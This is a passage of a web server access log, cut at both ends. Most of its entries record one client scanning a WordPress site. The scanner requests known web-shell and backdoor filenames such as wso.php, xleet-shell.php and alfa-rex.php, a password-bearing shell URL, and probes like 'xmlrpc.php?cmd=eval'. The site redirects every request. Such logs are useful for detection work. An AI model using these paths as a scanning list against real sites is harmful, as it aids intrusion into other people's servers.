/wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:42 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:43 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:43 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:44 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:45 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:45 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:46 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:46 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:47 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:47 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:48 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:48 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:49 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:50 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:50 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:51 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:52 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:52 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:53 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:53 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:54 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:54 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:56 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:56 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:57 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:58 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:58 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:59 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:25:59 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:00 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:00 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:01 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:02 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:02 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:03 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:04 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:04 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:05 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:05 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:06 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:07 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:07 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:08 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:08 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:09 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:09 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:10 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:11 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:11 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:12 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:13 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:14 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:14 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:16 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:16 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:17 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:18 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:18 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:19 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:20 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:20 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:21 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:21 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:22 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:22 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:23 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:24 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:24 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:25 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:25 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:26 -0400] "GET /wp-includes/rest-api/search/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:27 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:27 -0400] "GET /wp-includes/sitemaps//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:28 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:29 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:29 -0400] "GET /wp-includes/sitemaps/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:30 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:31 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:31 -0400] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:32 -0400] "GET /wp-includes/sitemaps/providers/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:32 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:33 -0400] "GET /wp-includes/sodium_compat/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:33 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:34 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:35 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:35 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:36 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:36 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:37 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:38 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge//Core32.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:38 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:39 -0400] "GET /wp-includes/sodium_compat/src/Core32/Poly1305/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:39 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:40 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:41 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:41 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:42 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:43 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:43 -0400] "GET /wp-includes/style-engine/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:44 -0400] "GET /wp-includes/style-engine/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:45 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:45 -0400] "GET /wp-includes/style-engine/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:46 -0400] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:46 -0400] "GET /wp-includes/style-engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:47 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:48 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:48 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:49 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:50 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:51 -0400] "GET /wp-includes/theme-compat/wp-conflg.php/wp-content/plugins/google-seo-rank/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:51 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:52 -0400] "GET /wp-includes/theme-compat/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:53 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:53 -0400] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:54 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:55 -0400] "GET /wp-includes/widgets//class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:56 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:57 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:58 -0400] "GET /wp-includes/widgets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:58 -0400] "GET /wp-includes/widgets/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:59 -0400] "GET /wp-includes/wjacfltdmPx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:26:59 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:00 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:01 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:01 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:02 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wplivechat/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:03 -0400] "GET /wp-includes/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:03 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:04 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:04 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:05 -0400] "GET /wp-includes/wp-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:06 -0400] "GET /wp-includes/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:06 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:07 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:07 -0400] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:08 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:09 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:09 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:10 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:11 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:11 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:12 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:12 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:13 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:14 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:14 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:15 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:15 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:16 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:16 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:17 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:18 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:18 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:19 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:19 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:20 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:20 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:21 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:22 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:22 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:23 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:23 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:24 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:24 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:25 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:26 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:27 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:27 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:28 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:28 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:29 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:29 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:30 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:30 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:31 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:32 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:32 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:33 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:33 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:34 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:35 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:35 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:36 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:36 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:37 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:38 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:38 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:39 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:39 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:40 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:40 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:41 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:27:42 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 195.20.18.145 - - [16/Apr/2025:13:29:47 -0400] "GET /sites/all/libraries/elfinder/elfinder.html HTTP/1.1" 301 795 "-" "ALittle Client" 20.14.154.215 - - [16/Apr/2025:13:35:26 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:28 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:29 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:29 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:30 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:31 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:31 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:32 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:32 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [16/Apr/2025:13:35:33 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 106.119.167.146 - - [16/Apr/2025:14:18:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 